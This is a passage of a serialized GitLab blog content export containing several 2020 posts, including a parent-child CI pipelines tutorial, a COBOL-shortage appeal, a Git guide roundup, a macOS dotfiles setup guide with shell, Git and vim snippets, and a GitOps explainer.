Gitlab","en-us/blog/appsflyer-moves-to-gitlab.yml","en-us/blog/appsflyer-moves-to-gitlab",{"_path":23924,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":23925,"content":23931,"config":23936,"_id":23938,"_type":16,"title":23939,"_source":17,"_file":23940,"_stem":23941,"_extension":20},"/en-us/blog/parent-child-pipelines",{"title":23926,"description":23927,"ogTitle":23926,"ogDescription":23927,"noIndex":6,"ogImage":23928,"ogUrl":23929,"ogSiteName":1180,"ogType":1181,"canonicalUrls":23929,"schema":23930},"How to get started with Parent-child pipelines","We introduced improvements to pipelines to help scale applications and their repo structures more effectively. Here's how they work.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667040/Blog/Hero%20Images/parent_pipeline_graph.png","https://about.gitlab.com/blog/parent-child-pipelines","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to get started with Parent-child pipelines\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chris Ward\"}],\n        \"datePublished\": \"2020-04-24\",\n      }",{"title":23926,"description":23927,"authors":23932,"heroImage":23928,"date":23933,"body":23934,"category":734,"tags":23935},[23785],"2020-04-24","As applications and their repository structures grow in complexity, a repository `.gitlab-ci.yml` file becomes difficult to manage, collaborate on, and see benefit from. This problem is especially true for the increasingly popular \"[monorepo](https://en.wikipedia.org/wiki/Monorepo)\" pattern, where teams keep code for multiple related services in one repository. Currently, when using this pattern, developers all use the same `.gitlab-ci.yml` file to trigger different automated processes for different application components, likely causing merge conflicts, and productivity slowdown, while teams wait for \"their part\" of a pipeline to run and complete.\n\nTo help large and complex projects manage their automated workflows, we've added two new features to make pipelines even more powerful: Parent-child pipelines, and the ability to generate pipeline configuration files dynamically.\n\n## Meet Parent-child pipelines\n\nSo, how do you solve the pain of many teams collaborating on many inter-related services in the same repository? \nLet me introduce you to [Parent-child pipelines](https://docs.gitlab.com/ee/ci/pipelines/downstream_pipelines.html), released with with [GitLab 12.7](/releases/2020/01/22/gitlab-12-7-released/#parent-child-pipelines). Splitting complex pipelines into multiple pipelines with a parent-child relationship can improve performance by allowing child pipelines to run concurrently. This relationship also enables you to compartmentalize configuration and visualization into different files and views. \n\n### Creating a child pipeline\n\nYou trigger a child pipeline configuration file from a parent by including it with the `include` key as a parameter to the `trigger` key. You can name the child pipeline file whatever you want, but it still needs to be valid YAML.\n\nThe parent configuration below triggers two further child pipelines that build the Windows and Linux version of a C++ application. \n\n```cpp\n#include \u003Ciostream>\nint main()\n{\n  std::cout \u003C\u003C \"Hello GitLab!\" \u003C\u003C std::endl;\n  return 0;\n}\n```\n\nThe setup is a simple one but hopefully illustrates what is possible.\n\n```yaml\nstages:\n  - triggers\n\nbuild_windows:\n  stage: triggers\n  trigger:\n    include: .win-gitlab-ci.yml\n  rules:\n    - changes:\n      - cpp_app/*\n\nbuild_linux:\n  stage: triggers\n  trigger:\n    include: .linux-gitlab-ci.yml\n  rules:\n    - changes:\n      - cpp_app/*\n```\n\nThe important values are the `trigger` keys which define the child configuration file to run, and the parent pipeline continues to run after triggering it. You can use all the normal sub-methods of `include` to use local, remote, or template config files, up to a maximum of three child pipelines.\n\nAnother useful pattern to use for parent-child pipelines is a `rules` key to trigger a child pipeline under certain conditions. In the example above, the child pipeline only triggers when changes are made to files in the _cpp_app_ folder.\n\nThe Windows build child pipeline (`.win-gitlab-ci.yml`) has the following configuration, and unless you want to trigger a further child pipeline, it follows standard a configuration format:\n\n```yaml\nimage: gcc\nbuild:\n  stage: build\n  before_script:\n    - apt update && apt-get install -y mingw-w64\n  script:\n    - x86_64-w64-mingw32-g++ cpp_app/hello-gitlab.cpp -o helloGitLab.exe\n  artifacts:\n    paths:\n      - helloGitLab.exe\n```\n\nDon't forget the `-y` argument as part of the `apt-get install` command, or your jobs will be stuck waiting for user input.\n\nThe Linux build child pipeline (`.linux-gitlab-ci.yml`) has the following configuration, and unless you want to trigger a further child pipeline, it follows standard a configuration format:\n\n```yaml\nimage: gcc\nbuild:\n  stage: build\n  script:\n    - g++ cpp_app/hello-gitlab.cpp -o helloGitLab\n  artifacts:\n    paths:\n      - helloGitLab\n```\n\nIn both cases, the child pipeline generates an artifact you can download under the _Job artifacts_ section of the Job result screen.\n\nPush all the files you created to a new branch, and for the pipeline result, you should see the two jobs and their subsequent child jobs.\n\n![Parent-child pipeline result](https://about.gitlab.com/images/blogimages/non-dynamic-pipelines.png){: .shadow.medium.center}\nThe result of a parent-child pipeline\n{: .note.text-center}\n\n## Dynamically generating pipelines\n\nTaking Parent-child pipelines even further, you can also dynamically generate the child configuration files from the parent pipeline. Doing so keeps repositories clean of scattered pipeline configuration files and allows you to generate configuration in your application, pass variables to those files, and much more.\n\nLet's start with the parent pipeline configuration file:\n\n```yaml\nstages:\n  - setup\n  - triggers\n\ngenerate-config:\n  stage: setup\n  script:\n    - ./write-config.rb\n    - git status\n    - cat .linux-gitlab-ci.yml\n    - cat .win-gitlab-ci.yml\n  artifacts:\n    paths:\n      - .linux-gitlab-ci.yml\n      - .win-gitlab-ci.yml\n\ntrigger-linux-build:\n  stage: triggers\n  trigger:\n    include:\n      - artifact: .linux-gitlab-ci.yml\n        job: generate-config\n\ntrigger-win-build:\n  stage: triggers\n  trigger:\n    include:\n      - artifact: .win-gitlab-ci.yml\n        job: generate-config\n```\n\nDuring our self-defined `setup` stage the pipeline runs the `write-config.rb` script. For this article, it's a Ruby script that writes the child pipeline config files, but you can use any scripting language. The child pipeline config files are the same as those in the non-dynamic example above. We use `artifacts` to save the generated child configuration files for this CI run, making them available for use in the child pipelines stages.\n\nAs the Ruby script is generating YAML, make sure the indentation is correct, or the pipeline jobs will fail.\n\n```ruby\n#!/usr/bin/env ruby\n\nlinux_build = \u003C\u003C~YML\n    image: gcc\n    build:\n        stage: build\n        script:\n            - g++ cpp_app/hello-gitlab.cpp -o helloGitLab\n        artifacts:\n            paths:\n                - helloGitLab\nYML\n\nwin_build = \u003C\u003C~YML\n    image: gcc\n    build:\n        stage: build\n        before_script:\n            - apt update && apt-get install -y mingw-w64\n        script:\n            - x86_64-w64-mingw32-g++ cpp_app/hello-gitlab.cpp -o helloGitLab.exe\n        artifacts:\n            paths:\n                - helloGitLab.exe\nYML\n\nFile.open('.linux-gitlab-ci.yml', 'w'){ |f| f.write(linux_build)}\nFile.open('.win-gitlab-ci.yml', 'w'){ |f| f.write(win_build)}\n```\n\nThen in the `triggers` stage, the parent pipeline runs the generated child pipelines much as in the non-dynamic version of this example but instead using the saved `artifact` files, and the specified `job`.\n\nPush all the files you created to a new branch, and for the pipeline result, you should see the three jobs (with one connecting to the two others) and the subsequent two children.\n\n![Dynamic parent-child pipeline result](https://about.gitlab.com/images/blogimages/dynamic-pipelines.png){: .shadow.medium.center}\nThe result of a dynamic parent-child pipeline\n{: .note.text-center}\n\n## Pipeline flexibility\n\nThis blog post showed some simple examples to give you an idea of what you can now accomplish with pipelines. With one parent, multiple children, and the ability to generate configuration dynamically, we hope you find all the tools you need to [build CI/CD workflows](/topics/ci-cd/) you need.\n\nYou can also watch a demo of Parent-child pipelines below:\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/n8KpBSqZNbk\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n",[110,754,676,696],{"slug":23937,"featured":6,"template":678},"parent-child-pipelines","content:en-us:blog:parent-child-pipelines.yml","Parent Child Pipelines","en-us/blog/parent-child-pipelines.yml","en-us/blog/parent-child-pipelines",{"_path":23943,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":23944,"content":23949,"config":23954,"_id":23956,"_type":16,"title":23957,"_source":17,"_file":23958,"_stem":23959,"_extension":20},"/en-us/blog/cobol-programmer-shortage",{"title":23945,"description":23946,"ogTitle":23945,"ogDescription":23946,"noIndex":6,"ogImage":12050,"ogUrl":23947,"ogSiteName":1180,"ogType":1181,"canonicalUrls":23947,"schema":23948},"How can we help solve the COBOL programmer shortage?","A shortage of COBOL programmers is causing delays in processing unemployment claims and small business loans. We’re hoping our community can help.","https://about.gitlab.com/blog/cobol-programmer-shortage","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How can we help solve the COBOL programmer shortage?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2020-04-23\",\n      }",{"title":23945,"description":23946,"authors":23950,"heroImage":12050,"date":23951,"body":23952,"category":813,"tags":23953},[11618],"2020-04-23","\n\nIn our current world situation is it any surprise that a shortage of COBOL developers is holding up unemployment benefits and Small Business Association loan processing?\n\nActually, it is kind of surprising. We’ve grown used to the rapid advance of technology and it’s safe to say we’re like most companies – looking forward and not backward.\n\n## COBOL programmers needed\n\nBut it might be time to change that, and we’re reaching out to all of you for ideas and suggestions on ways to help provide a solution to the large number of COBOL programmers needed. What can we, as a community, do to help government agencies overwhelmed with demands on aging mainframes and with too few programmers to get the jobs done?\n\nCNN and a number of other news agencies reported that a lack of COBOL programming expertise has led to [long waits in processing unemployment benefits and small business loans](https://www.techspot.com/news/84796-us-states-desperate-cobol-programmers-ibm-offering-free.html?fbclid=IwAR1M2tlg2MeLHsG7ZzHawzPtsliTBaJX-1EgTlxIdr4BSHihN6sn-JbKpeo) at a time when [joblessness has hit record highs](https://www.washingtonpost.com/business/2020/04/16/unemployment-claims-coronavirus/).\n\n### Oppertunities for COBOL programmers\n\nBut COBOL isn’t limited to government entities: Large financial services and a myriad of other industries are still heavily reliant on mainframes and their primary programming language. As such,there is a large number of COBOL programmers needed with a wide array of oppertunities available. That’s not likely to change anytime soon – IBM says there are 240 billion lines of COBOL running today with an additional 5 billion being written every year.\n\nWhile that may sound like job security, COBOL programming isn’t widely taught today and it certainly lacks the developer interest level of Ruby or TypeScript or Go. A quick search on job site [Glassdoor](https://www.glassdoor.com/) shows about 1700 jobs advertised for COBOL programmers across the US today, while there are well over 4000 potential employers for Go or Ruby developers, and over 30,000 for Java developers.\n\nToday a number of companies [are working to integrate](https://www.rocketsoftware.com/zos-open-source/tools) more \"modern\" software development methodologies with mainframes ([even GitLab](https://gitlab.com/gitlab-org/gitlab-runner/issues/3263)), but that’s not going to solve the short-term need (or probably even the medium-term need).\n\n### Education and Upskilling for COBOL programmers\n\nThere are some educational opportunities available from [Udemy](https://www.udemy.com/course/mainframe-the-complete-cobol-course-from-beginner-to-expert/), [LinkedIn](https://www.linkedin.com/learning/topics/cobol), [Learning Tree](https://www.learningtree.com/courses/2301/enterprise-cobol-programming-part-1/) and a [free COBOL programming course](https://github.com/openmainframeproject/cobol-programming-course) from the openmainframeproject on GitHub.\n\nCan we do more? We don’t have the answers but we’ve opened [a public issue](https://gitlab.com/gitlab-com/www-gitlab-com/-/issues/7271) so please leave any ideas there.\n\n_Updated on June 1, 2020: We've had some responses on our public issue including this from contributor [Timothy Austin](https://gitlab.com/taustin288): \"The companies who hold all these large COBOL code bases need to pressure the universities to require all up and coming Java programmers to have a rudimentary knowledge of COBOL. This would allow them the flexibility to convert the COBOL or continue use it as is if they so desire.\" Learn more in [our issue](https://gitlab.com/gitlab-com/www-gitlab-com/-/issues/7271)._ \n\nCover image by [Joshua Sortino](https://unsplash.com/@sortino) on [Unsplash](https://www.unsplash.com)\n{: .note}\n",[267,2704,815],{"slug":23955,"featured":6,"template":678},"cobol-programmer-shortage","content:en-us:blog:cobol-programmer-shortage.yml","Cobol Programmer Shortage","en-us/blog/cobol-programmer-shortage.yml","en-us/blog/cobol-programmer-shortage",{"_path":23961,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":23962,"content":23968,"config":23973,"_id":23975,"_type":16,"title":23976,"_source":17,"_file":23977,"_stem":23978,"_extension":20},"/en-us/blog/ultimate-git-guide",{"title":23963,"description":23964,"ogTitle":23963,"ogDescription":23964,"noIndex":6,"ogImage":23965,"ogUrl":23966,"ogSiteName":1180,"ogType":1181,"canonicalUrls":23966,"schema":23967},"Our ultimate guide to Git","Open source pioneer Git is 15 years old. Here is our guide to making the most of it.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681222/Blog/Hero%20Images/git-15th-anniversary-cover.png","https://about.gitlab.com/blog/ultimate-git-guide","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Our ultimate guide to Git\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2020-04-20\",\n      }",{"title":23963,"description":23964,"authors":23969,"heroImage":23965,"date":23970,"body":23971,"category":813,"tags":23972},[11618],"2020-04-20","\n\n_Git, a [source code management](/solutions/source-code-management/) tool and arguably the most famous open source software project, turned 15 in April 2020. That’s a milestone no matter how you look at it, and not surprisingly our team has a lot to say about Git. From a look back at the past to newbie-friendly explanations, we’ve pulled together the ultimate guide to Git (as told by GitLab)._\n\n## Meet Git\n\nIf you’re just getting started with software development, you’ll have questions. Luckily, we have answers including background on developer Linus Torvalds in [\"A beginner’s guide to Git\"](/blog/beginner-git-guide/).\n\n![Linus Torvalds](https://about.gitlab.com/images/blogimages/linustorvalds.png){: .shadow.small.center}\n\nThe godfather of Git, Linus Torvalds.\n{: .note.text-center}\n\n## Get more out of Git\n\nWe all spend a ton of time working with Git so it makes sense to polish up your workflow so it shines. We’ve [got the lowdown](/blog/15-git-tips-improve-workflow/) on Git blame, .gitignore, how to pull frequently, and more.\n\n## Missed Git Merge?\n\nNot everyone was lucky enough to attend the actual, in-person Git birthday party. Here’s our [first-person account](/blog/git-merge-fifteen-year-git-party/) of the festivities, complete with lots of pictures.\n\n![birthday balloons](https://about.gitlab.com/images/blogimages/balloons.jpg){: .shadow.small.center}\n\n## Why Git flow doesn’t always go with the flow\n\nYou can have too much of a good thing, and if you doubt that, perhaps it’s because you haven’t yet encountered Git flow. Although designed to streamline development it ends up creating extra effort – too many branches and too much task switching. Never fear, though, [we have a solution](/blog/what-is-gitlab-flow/).\n\n## Git goes (really) big\n\nWhen Git was invented 15 years ago, video streaming (and gaming) weren’t even on the horizon. Git can handle those huge files but there’s one hiccup: You can’t just download the one you need, Git insists you download all of them. Enter Git Partial Clone which speeds up the process so you can just grab the file you need. [Here’s how it works](/blog/partial-clone-for-massive-repositories/).\n\n## GitLab and GitHub on Git\n\nOur senior developer evangelist [Brendan O’Leary](/company/team/#brendan) did a bit of a point counter-point about Git and its past and future with GitHub’s distinguished software engineer [Jeff King](https://www.linkedin.com/in/pefflinkedin/) on [infoq.com](https://www.infoq.com/news/2020/04/git-fifteen-anniversary-qa/).\n\n## Never say never\n\nBrendan also admitted that 15 years ago, he was never ever going to use Git. Ahem. Feel free to enjoy [his mea culpa](https://www.computerweekly.com/blog/Open-Source-Insider/GitLab-guru-15-years-later-were-still-learning).\n\n## Dive into GitOps\n\nYou’ve heard the term, now is the time to understand what [GitOps](/solutions/gitops/) means and how it can work – well – in real world applications. Here’s what you need to know about [continuous delivery to production](/blog/why-gitops-should-be-workflow-of-choice/).\n\nImage by [Adi Gold](https://unsplash.com/@adigold1) on [Unsplash](https://www.unsplash.com)\n{: .note}\n",[1067,815,754],{"slug":23974,"featured":6,"template":678},"ultimate-git-guide","content:en-us:blog:ultimate-git-guide.yml","Ultimate Git Guide","en-us/blog/ultimate-git-guide.yml","en-us/blog/ultimate-git-guide",{"_path":23980,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":23981,"content":23986,"config":23991,"_id":23993,"_type":16,"title":23994,"_source":17,"_file":23995,"_stem":23996,"_extension":20},"/en-us/blog/dotfiles-document-and-automate-your-macbook-setup",{"title":23982,"description":23983,"ogTitle":23982,"ogDescription":23983,"noIndex":6,"ogImage":18477,"ogUrl":23984,"ogSiteName":1180,"ogType":1181,"canonicalUrls":23984,"schema":23985},"dotfiles - Document and automate your Macbook setup","Document and automate your Macbook setup with installing tools and well-known configuration settings. Follow best practices from a developer’s point of view.","https://about.gitlab.com/blog/dotfiles-document-and-automate-your-macbook-setup","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"dotfiles - Document and automate your Macbook setup\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Michael Friedrich\"}],\n        \"datePublished\": \"2020-04-17\",\n      }",{"title":23982,"description":23983,"authors":23987,"heroImage":18477,"date":23988,"body":23989,"category":18484,"tags":23990},[4808],"2020-04-17","\n\n{::options parse_block_html=\"true\" /}\n\n\n\n## What are dotfiles?\n\nWhat are dotfiles? Put simply, a dotfile is a file that starts with a dot (.), which differentiates it from other file types. Beyond that, a dotfile is a way for software developers to be more productive. Dotfiles are configuration files that help a variety of programs manage their functionality. Dotfiles are hidden by default in a Unix-based system. \n\nDotfiles can be used to set environment variables, define shell aliases, configure editors and other command-line tools, and much more. They are typically stored in the home directory of a user and are loaded when the user logs in, or when a new shell is opened.\n\nSome examples of dotfiles you may have encountered before (or not) include:\n\n* .vimrc\n* .bash_profile or .bashrc \n* .config\n* .gitconfig\n* .zshrc\n\n## Why use dotfiles?\n\nWhy use dotfiles? When I first started working on Windows, Linux and macOS many years ago, there was this steep learning curve. Not everything on the system had a good default for improved productivity, often tools were missing to create your own work environment.\n\nAt first glance, I started writing blog posts and shared my findings with everyone. This had the benefit that I exactly knew where these snippets can be found. Many years ago, systems were not so reliable and often a full operating system reinstall worked better than troubleshooting existing problems.\n\nAfter some years, many best practices had been documented in blog posts and were hard to apply in one go. Especially with working in many areas for development, professional services, ops and support, different settings and tools have been applied. At that point I had created a wiki page with text and screenshots.\n\nThe wiki page allowed for many revisions, and was kept in the internal Confluence since it contained company sensitive information. I often was asked how my Linux and macOS setup looks like and if I could share best practices.\n\nThen I learned that users share their configuration and setup commands in a Git repository which is called “dotfiles”. At first glance, a dotfile is a hidden file on a Linux/Unix system, containing tool specific settings. Common tools are Git, vim, bash storing their configuration in a dotfile in the user’s home directory.\nThese dotfiles were enriched with scripts to install additional software via package managers, and to apply certain runtime configuration after the work environment was setup the first time.\n\n## dotfiles on my Macbook\n\nMy first steps with dotfiles started at the point where updating the Confluence wiki became troublesome. It also was the only left bastion where I could not write documentation in Markdown. Within the dotfiles Git repository, best practice always has been a `README.md` file which describes more details and tips. Copying snippets and scripts for everyone also has become easier. Users can even fork the repository and use this as a basis for their own work environments.\n\nNavigate into my [dotfiles repository](https://gitlab.com/dnsmichi/dotfiles) to learn more. The following sections highlight some of my daily best practices as a Developer Evangelist at GitLab.\n\n\n### ZSH with OhMyZSH\n\nmacOS Catalina uses ZSH by default. Therefore I was looking into best practices and soon learned about OhMyZSH as shell framework. It comes with nice plugins which provide a native Git shell integration as well as exporting credentials as environment variables.\n\nIn addition to the built-in functionality, it is easy to add custom aliases and settings. Avoid clutter inside the main `.zshrc` file, instead extend `.oh-my-zsh/custom/aliases.zsh` for example. The following alias allows to clean up the local git branches very easily:\n\n```sh\n# Delete all remote tracking Git branches where the upstream branch has been deleted\nalias git_prune=\"git fetch --prune && git branch -vv | grep 'origin/.*: gone]' | awk '{print \\$1}' | xargs git branch -d\"\n```\n### Git configuration\n\nMy Git configuration is rather simple. The reason I keep it inside the dotfiles repository is that I always forget about the Git CLI commands to set them properly. Over the years, all my preferred customizations have been applied in Git itself. The only minimalistic addons are a custom `git log` command and the credential helper setting. I need that for storing the GitLab personal token and not being asked by `git push/pull` all the time.\n\n```sh\n$ cat ~/.gitconfig\n\n[user]\n\tname = Michael Friedrich\n\temail = mfriedrich@gitlab.com\n        signingkey = D14A1F16\n[alias]\n        l  = log --graph --pretty=format:'%Cred%h%Creset %C(yellow)%d%Creset %s %Cgreen(%cr) %C(bold blue)\u003C%an>%Creset' --abbrev-commit --date=relative --\n[credential]\n\thelper = osxkeychain\n```\n\nThe Git shell prompt integration is done with OhMyZSH as plugin. Previously I had done this with a customized Bash profile. I decided to go for ZSH with macOS Catalina and my new job at GitLab. \n\n### vim configuration\n\nEven with habits changed to using VS Code/Atom or the Web IDE, I am still very fast with vim, especially with spell checking included. I've been carrying this `.vimrc` file around for more than 10 years now and it always helped :) Here is the best of - there is more inside with syntax highlighting and restoring the cursor on re-open.\n\n\n```sh\nset viminfo='20,\u003C1000,s1000,:20,%,n~/.viminfo “ Increase buffer size for search\nset history=50            \" keep 50 lines of command line history\nset ruler                      \" show the cursor position all the time\nset nofixeol                 \" don't fix end-of-line errors\n\"set background=dark\nset background=light\nset showcmd              \" Show (partial) command in status line.\nset showmatch           \" Show matching brackets.\n```\n\n\n### Install favorite software and tools\n\nHomebrew is my favorite package manager on macOS. It ranges from adding simple tools like “htop” to applications not available in the app store like “Gimp”.\n\nIn order to keep things simple, the `brew_once.sh` script takes care of installing Homebrew, enabling the cask system for applications and installs wget/curl to setup OhMyZsh.\n\n```sh\n./brew_once.sh\n```\n\nAdditional software is installed with the “`brew.sh` script. This can be re-run any time to ensure the same state is applied. This will be useful if an application was accidentally removed. Please fork the repository and adjust everything for your likings!\n\n```sh\n./brew.sh\n```\n\nThe script takes care of installing the following:\n\n* GNU utils (sed, awk, tar, sha256sum). The macOS utils differ a bit and may break scripts made for Linux.\n* System tools (htop, pidof, pstree, grep, screen, nmap, ssh-copy-id, tree)\n* Images (imagemagick) for easy conversions\n* Archive and Git (git, git-lfs, p7zip, xz, tig, hub)\n* JSON (jq, jo)\n* Development (Ruby, Python, Go, Redis)\n* Applications as cask (Java, Atom, VS Code, Firefox, VLC, Gimp, Vagrant)\n\n\n### Enhanced Workflows with Alfred\n\n[Alfred](https://www.alfredapp.com/) is not only a Spotlight replacement for opening applications or searching files. The major selling points are custom workflows accessible by quick typing. Picking HTML color codes, querying DNS records or copying emojis all over the place have become easier with quick shortcuts.\n\nTired of locking your screen on macOS? `Cmd+Space, l, Enter` after Alfred has learned that `l` means `lock`. Yep, it remembers the most often typed commands.\n\n![Alfred Workflow Dig GitLab.com IPv6](https://about.gitlab.com/images/blogimages/alfred_workflow_dig_gitlab.com_aaaa.png){: .shadow}\n\n\n## Trackpad and keyboard\n\nI always used to have a mouse with me for my previous notebooks, and the change to the trackpad always worried me. Move the mouse, click here and on it goes. When I got my first iPad, I got introduced to just tapping and approving. \n\nI’ve learned that this setting can be enabled on macOS too for the trackpad which is my preferred input method since then. In order to automate this setting, run the following CLI commands:\n\n```sh\ndefaults write com.apple.driver.AppleBluetoothMultitouch.trackpad Clicking -bool true\ndefaults -currentHost write NSGlobalDomain com.apple.mouse.tapBehavior -int 1\ndefaults write NSGlobalDomain com.apple.mouse.tapBehavior -int 1\n```\n\nAnother thing I prefer using - the right click for accessing the actions toolbar. By default, the secondary click is available with two fingers. My improved workflow prefers the right bottom corner of the trackpad. You can either change this inside the trackpad preferences or run these CLI commands:\n\n```sh\ndefaults write com.apple.driver.AppleBluetoothMultitouch.trackpad TrackpadCornerSecondaryClick -int 2\ndefaults write com.apple.driver.AppleBluetoothMultitouch.trackpad TrackpadRightClick -bool true\ndefaults -currentHost write NSGlobalDomain com.apple.trackpad.trackpadCornerClickBehavior -int 1\ndefaults -currentHost write NSGlobalDomain com.apple.trackpad.enableSecondaryClick -bool true\n```\n\nLast but not least using `tab` for changing the focus area in windows is a must have. This is hidden in the keyboard shortcut settings as `use keyboard navigation to move focus between controls`.\n\n```sh\ndefaults write NSGlobalDomain AppleKeyboardUIMode -int 3\n```\n\nAdditional ideas and commands can be found in [this repository](https://github.com/herrbischoff/awesome-macos-command-line).\n\n## Documentation\n\nEverything else is stored in the GitLab repository, including the documentation in Markdown format. Additional screenshots can be put there too into the `doc/images` directory for example.\nThere is no need to carry an extra wiki page around and everyone can access the repository via URL. You can also download the whole archive and work offline.\n\nThe best thing about my dotfiles repository - it is open source and we can learn, share, suggest together :-)\nDo you have a cool idea for making this even more convenient? Fork the [repository](https://gitlab.com/dnsmichi/dotfiles) and send a merge request please!\n",[3949,3949,1899,1899],{"slug":23992,"featured":6,"template":678},"dotfiles-document-and-automate-your-macbook-setup","content:en-us:blog:dotfiles-document-and-automate-your-macbook-setup.yml","Dotfiles Document And Automate Your Macbook Setup","en-us/blog/dotfiles-document-and-automate-your-macbook-setup.yml","en-us/blog/dotfiles-document-and-automate-your-macbook-setup",{"_path":23998,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":23999,"content":24005,"config":24009,"_id":24011,"_type":16,"title":24012,"_source":17,"_file":24013,"_stem":24014,"_extension":20},"/en-us/blog/why-gitops-should-be-workflow-of-choice",{"title":24000,"description":24001,"ogTitle":24000,"ogDescription":24001,"noIndex":6,"ogImage":24002,"ogUrl":24003,"ogSiteName":1180,"ogType":1181,"canonicalUrls":24003,"schema":24004},"Why GitOps should be the workflow of choice","What is GitOps and how do you apply it in real-world applications?","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681239/Blog/Hero%20Images/shiro-hatori-WR-ifjFy4CI-unsplash.jpg","https://about.gitlab.com/blog/why-gitops-should-be-workflow-of-choice","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why GitOps should be the workflow of choice\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Brendan O'Leary\"}],\n        \"datePublished\": \"2020-04-17\",\n      }",{"title":24000,"description":24001,"authors":24006,"heroImage":24002,"date":23988,"body":24007,"category":734,"tags":24008},[11790],"\n\n## How did we get here?\n\nIn 2006, with the launch of AWS Elastic Compute, Amazon set off a revolution in the way we, as developers, consume and use compute and other resources required to deploy and maintain the applications we write. Not long after, infrastructure-as-code started to explode onto the scene with projects like Puppet, Ansible, and Terraform.\n\nAs these technologies matured, it became apparent that scaling applications in a modern or cloud environment required reproducible, reusable components, and infrastructure-as-code became the gold standard for ensuring the proper allocation of resources to an application. At the same time, the infrastructure space and world of software continued to evolve. The concept of [continuous delivery](/topics/ci-cd/) and release of software came into vogue and was popularized by large technology companies. The \"book\" on continuous delivery came in 2011, where it became apparent that to move fast enough to keep up with market demands, a radically [faster DevOps](/topics/devops/) cycle was required.\n\nAs continuous delivery for software becomes more commonplace, new solutions in the infrastructure space have been created to keep up. Kubernetes and the rise of [\"serverless\"](/topics/serverless/) promised to once again free developers from the need to worry about infrastructure. In a post-DevOps world - how does one think about infrastructure-as-code and applications as one cohesive unit?  Enter GitOps.\n\n## What is GitOps?\n\n[GitOps](/topics/gitops/) is conceptually not that different from either infrastructure-as-code or continuous delivery. In fact, in many ways, it is the convergence of those two concepts. Developers and operations teams alike can share a common repository of code, and GitOps allows a developer-like experience for managing applications and their underlying infrastructure. In that way, you can use GitOps as an operating model for modern infrastructures like Kubernetes, serverless, and other cloud native technologies.\n\nVersion control and [continuous integration](/solutions/continuous-integration/) are essential tools for deploying software continuously and reliably. GitOps brings both of those software best practices to operations by making the repository the central-source-of-truth for all of the infrastructure required to run applications. With GitOps, any change to infrastructure is committed to the git repository along with any application changes.\n\nThis allows developers and operators to use familiar development patterns and branching strategies. From there, a merge request provides the [central place to collaborate](/topics/gitops/gitops-gitlab-collaboration/) and suggest changes. Once merged into the mainline, CI/CD should be configured to deploy both the application and infrastructure changes automatically. The way this enables synchronization between developers and operators is what can be very appealing about GitOps as the next iteration of DevOps.\n\n## Why GitOps?\n\nWhy are so many organizations large and small considering a move to a more GitOps-focused culture?\n\nAs software has eaten the world, business operational excellence has become directly aligned with the ability to deliver quality software faster. Business survival depends on adaptive and efficient software development practices. Those practices require new processes and changes in the way we think about change management.\n\nIn many software practices, the concept of code review and approval is where most of the checks and balances for deploying production code comes into play. At GitLab, we believe that the [merge request](https://docs.gitlab.com/ee/user/project/merge_requests/) is the best place to collaborate on code and approve changes.  Processes and tools that are external to the code change only serve to increase cycle time and inhibit an organization’s ability to deploy code quickly.\n\nOnce an organization has embraced continuous integration and code review as the place for change request approval, it is a natural progression to discuss the idea of continuous delivery to production after those CI gates and human approvals are passed. As GitOps takes that concept a step further and integrates the pipeline to production directly in the git and merge request workflow, it’s become a hot topic and one that will become the normal workflow for efficient software organizations. Taking unnecessary steps and tools out of the critical path to production enables an organization to deliver better products faster, without sacrificing the governance required to deploy code.\n\n\n\nCover image by [Shiro Hatori](https://unsplash.com/@shiroscope) on [Unsplash](https://www.unsplash.com)\n{: .note}\n",[110,3949,232],{"slug":24010,"featured":6,"template":678},"why-gitops-should-be-workflow-of-choice","content:en-us:blog:why-gitops-should-be-workflow-of-choice.yml","Why Gitops Should Be Workflow Of Choice","en-us/blog/why-gitops-should-be-workflow-of-choice.yml","en-us/blog/why-gitops-should-be-workflow-of-choice",{"_path":24016,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":24017,"content":24023,"config":24028,"_id":24030,"_type":16,"title":24031,"_source":17,"_file":24032,"_stem":24033,"_extension":20},"/en-us/blog/geo-is-available-on-staging-for-gitlab-com",{"title":24018,"description":24019,"ogTitle":24018,"ogDescription":24019,"noIndex":6,"ogImage":24020,"ogUrl":24021,"ogSiteName":1180,"ogType":1181,"canonicalUrls":24021,"schema":24022},"Why we enabled Geo on the staging environment for GitLab.com","Geo is GitLab's solution for distributed teams and now we can validate and test it at scale.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749669656/Blog/Hero%20Images/donald-giannatti-4qk3nQI3WHY-unsplash-small.jpg","https://about.gitlab.com/blog/geo-is-available-on-staging-for-gitlab-com","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why we enabled Geo on the staging environment for GitLab.com\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fabian Zimmer\"},{\"@type\":\"Person\",\"name\":\"Douglas Alexandre\"}],\n        \"datePublished\": \"2020-04-16\",\n      